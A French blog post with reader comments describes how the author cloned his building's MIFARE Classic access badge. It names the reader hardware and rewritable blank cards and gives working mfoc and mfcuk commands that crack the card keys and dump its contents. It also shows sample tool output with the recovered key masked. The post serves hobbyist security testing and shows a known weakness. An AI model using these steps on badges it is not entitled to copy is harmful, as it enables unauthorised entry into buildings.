Contrôle d'accès

Cela faisait un certain temps que je voulais essayer la duplication de clés de contrôle d'accès (les boîtiers que l'on trouve dans beaucoup de bâtiments). Aucun de mes clients n'ayant été réceptif à ce test - dont le résultat est connu, mais rien ne vaut un test pratique pour s'assurer que l'on sait faire - il m'a fallu attendre d'avoir personnellement le besoin. C'est chose faite avec l'appartement acheté cet été, dont l'accès au bâtiment est justement protégé par une telle clé.

Note : au sens technique strict, les clés MIFARE concernées ne sont pas des clés NFC, même si elles fonctionnent en champ proche (voir le commentaire de geoffroy).

La duplication suppose plusieurs choses, toutes relativement peu complexes :

  • un lecteur NFC approprié
  • des supports NFC vierges
  • les bon outils

Pour le lecteur NFC, je déconseille tout ce qui est à base d'ACR122U. C'est malheureusement l'écrasante majorité des lecteurs NFC que l'on trouve facilement.

Pour une utilisation normale, ce matériel ne pose aucun problème que je connaisse. Pour l'objectif recherché, comme cela est bien dit (mais en anglais) sur le site nfc-tools.org, ACS ACR122 devices rely on PCSC which does not allow to cancel/abort a command, so all asynchronous commands (commands with delayed reply) could fail with timeouts, which makes ACR122's target support very limited and unstable.

En bref, les outils marchent, mais peuvent planter aléatoirement. Autant dire que la procédure globale en est allongée, surtout si vous n'avez pas de chance. Mais, même avec ce type de lecteur, j'ai fini par faire mes copies. Rien d'impossible donc, c'est juste non-déterministe.

J'ai acheté un StickID, fabriqué par nos amis italiens. Un peu plus cher, et bien plus fiable, en cela que les outils n'ont pas planté une seule fois. Ca permet de lancer l'extraction des clés le soir, et d'avoir un bon espoir de connaître les clés le lendemain matin.

Lecteur NFC à base d'ACR122 StickID, de SensorID

Voilà pour le matériel de base.

Les supports NFC vierges se trouvent sans difficulté sur eBay. Il faut acheter un support (ou un ensemble de supports) dont le secteur 0 peut être réécrit. Ce secteur contient le numéro de série du support, cette information pouvant être utilisée par le système de contrôle d'accès. Il ne faut donc pas utiliser les supports usuels, qui coûtent quelques centimes l'unité. Ce n'est pas ruineux malgré tout, de l'ordre de quelques euros l'unité.

Supports NFC

Restent les logiciels. Il en faut deux : mfcuk et mfoc. Essayez d'utiliser mfoc en premier, avec une commande du genre

mfoc -P 500 -O /tmp/copie.dmp

Si votre support NFC utilise des clés de chiffrement standard, ça va aller très vite (une poignée de minutes). Par contre, si vous avez la chance (ou la malchance, selon le point de vue) d'avoir un système de contrôle d'accès qui utilise des clés de chiffrement spécifiques, il vous faut en casser une au moins avec mfcuk. Là, ça peut être plus long[1]. La commande standard, qui ne tente de casser que la clé A du secteur zéro, est la suivante :

mfcuk -C -R 0:A -v 2 -s 250 -S 250 -O /tmp/copie.dmp

Mfcuk va travailler un bon moment, et devrait finir par afficher quelque chose comme

ACTION RESULTS MATRIX AFTER RECOVER -
UID aa bb cc dd - TYPE 0x08 (MC1K)
---------------------------------------------------------------------
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
---------------------------------------------------------------------
0 | XXXXXXXXXXXX | . R | . R | 000000000000 | . . | . .
1 | 000000000000 | . . | . . | 000000000000 | . . | . .
2 | 000000000000 | . . | . . | 000000000000 | . . | . .
3 | 000000000000 | . . | . . | 000000000000 | . . | . .
4 | 000000000000 | . . | . . | 000000000000 | . . | . .
5 | 000000000000 | . . | . . | 000000000000 | . . | . .
6 | 000000000000 | . . | . . | 000000000000 | . . | . .
7 | 000000000000 | . . | . . | 000000000000 | . . | . .
8 | 000000000000 | . . | . . | 000000000000 | . . | . .
9 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . . | . . | 000000000000 | . . | . .

J'ai remplacé la clé de chiffrement extraite par mfcuk par une série de X.

Une fois que vous connaissez une seule des clés de chiffrement, A ou B, et quel que soit le secteur (clé A du secteur zéro pour la commande mfcuk ci-dessus), vous pouvez de nouveau lancer mfoc, en précisant cette clé :

mfoc -P 500 -k XXXXXXXXXXXX -O /tmp/copie.dmp

Cela suffit pour que l'outil en obtienne toutes les autres clés de chiffrement du support NFC. Si tout se passe bien, on obtient une copie du contenu du support NFC, qu'il suffit de dupliquer sur un support vierge.

Note

[1] C'est lors de cette étape que les plantages aléatoires liés à l'ACR122 sont très gênants.

Commentaires

1. Le mardi 30 décembre 2014, 01:59 par Boupjof

Merci pour cet article intéressant et bien documenté. Une petite question sur quel site avez vous acheté le Stick ID? Je ne le trouve que sur des site "douteux"

2. Le mardi 30 décembre 2014, 22:32 par geoffroy

Bonjour,

Sans vouloir être trop tatillon, les mifare Classic, ne devrait pas être appellées TAG NFC : "MIFARE Classic technology do not comply with the NFC Forum specifications and require NFC devices to utilize a proprietary protocol stack to read them, these tags will not work with all NFC devices, creating user frustration."

Dans la pratique, on les trouvent partout, mais pour le contrôle d'accès, il faut être un peu sérieux... même NXP préconise d'autres solutions plus sécurisées à base de tripleDES ou d'AES, mais ils ne peuvent pas tuer la poule aux oeufs d'or...

3. Le mercredi 31 décembre 2014, 10:18 par Da Scritch

Hello NDC !
On ne s'est pas revus depuis longtemps, un TC....

J'organise une cryptoparty le 22 sur le theme de l'ID.
Veux tu venir parler de ton expérience ?
Nous y ferons déjà de la lecture de NFC bancaire.

4. Le vendredi 2 janvier 2015, 12:12 par Nuits de Chine

Boupjof : j'ai acheté le mien sur SensorID.it. C'est, sauf erreur, le fabricant officiel.
geoffroy : je suis d'accord sur ce point.
Da Scritch : tu peux me donner plus de détails, par mail ?